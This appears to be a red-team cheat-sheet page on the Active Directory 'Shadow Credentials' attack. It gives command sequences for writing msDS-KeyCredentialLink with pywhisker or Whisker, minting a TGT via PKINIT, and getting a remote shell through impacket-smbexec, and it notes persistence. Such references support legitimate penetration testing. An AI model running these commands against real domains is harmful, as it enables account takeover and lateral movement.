Skip to content

Shadow Credentials (msDS-KeyCredentialLink)

Register a new public key on a user or computer object's msDS-KeyCredentialLink, then use the private key (.pfx) to PKINIT to mint a TGT without knowing the account’s secret.

Requires

  • Authentication to LDAP with an account which has write access on the target account's msDS-KeyCredentialLink property.
    • Objects which typically have write access over a target object: the object itself, domain Admins, accounts with delegated rights, service accounts (Microsoft Entra Connect, etc.)
  • DCs/Schema supporting Key Trust (modern AD; commonly 2016+).

Tools

Tool Platform Note
pywhisker Linux Add/list/remove msDS-KeyCredentialLink; writes a key pair and usually saves a PFX.
Whisker.exe Windows Same operations as above, C# implementation.
PKINITtools (gettgtpkinit.py) Linux Obtain a TGT from a PFX via PKINIT.

Add Shadow Credentials

Linux (pywhisker)

Add key credential to target user/computer's msDS-KeyCredentialLink
pywhisker -d <domain> -u <user> -p '<password>' --dc-ip <dc_ip> --target <target_user> --add

Output: .pfx file containing the private key.

List existing key credentials
pywhisker -d <domain> -u <user> -p '<password>' --dc-ip <dc_ip> --target <target_user> --list

Windows (Whisker)

Add key credential to target user/computer's msDS-KeyCredentialLink
Whisker.exe add /domain:<domain> /user:<user> /password:<password> /dc:<dc_ip> /target:<target_user>

Output: .pfx file containing the private key.

List existing key credentials
Whisker.exe list /domain:<domain> /user:<user> /password:<password> /dc:<dc_ip> /target:<target_user>

Get a TGT via PKINIT (from the generated PFX)

python3 gettgtpkinit.py -cert-pfx <target_user>.pfx -pfx-pass '<pfx_password>' <domain>/<target_user> <target_user>.ccache

Output credential cache file .ccache containing TGT.

Use the Ticket

Use the .ccache to request service tickets and execute with Kerberos.

Example: Gain CLI access via SMB

Get service ticket to CIFS
KRB5CCNAME=<target_user>.ccache getST.py -spn cifs/<target_fqdn> -k -no-pass <domain>/<target_user> -dc-ip <dc_ip>
Authenticate to SMB using the .ccache file
KRB5CCNAME=<target_user>.ccache impacket-smbexec -k -no-pass <domain>/<target_user>@<target_fqdn>

See SPN/tool mapping: Remote Command Execution Tools

Cleanup

Remove your KeyCredential on linux
pywhisker -d <domain> -u <user> -p '<password>' --dc-ip <dc_ip> --target <target_user> --remove
Remove your KeyCredential on Windows
`Whisker.exe remove /domain:<domain> /user:<user> /password:<password> /dc:<dc_ip> /target:<target_user>`

Troubleshooting

  • PKINIT fails: check time sync, that the PFX password is correct, and that DCs support PKINIT/Key Trust.
  • LDAP errors: use LDAPS when signing/channel binding is enforced; ensure the modifying principal truly has write rights on the target object.
  • No PFX saved: re-run the add operation with an explicit output option (tool-specific) or export from the tool’s output directory.

Attack Paths

  • Privilege escalation to the target account (user/computer) by minting a TGT.
  • Persistence by keeping your key registered on the object until removed.

See Also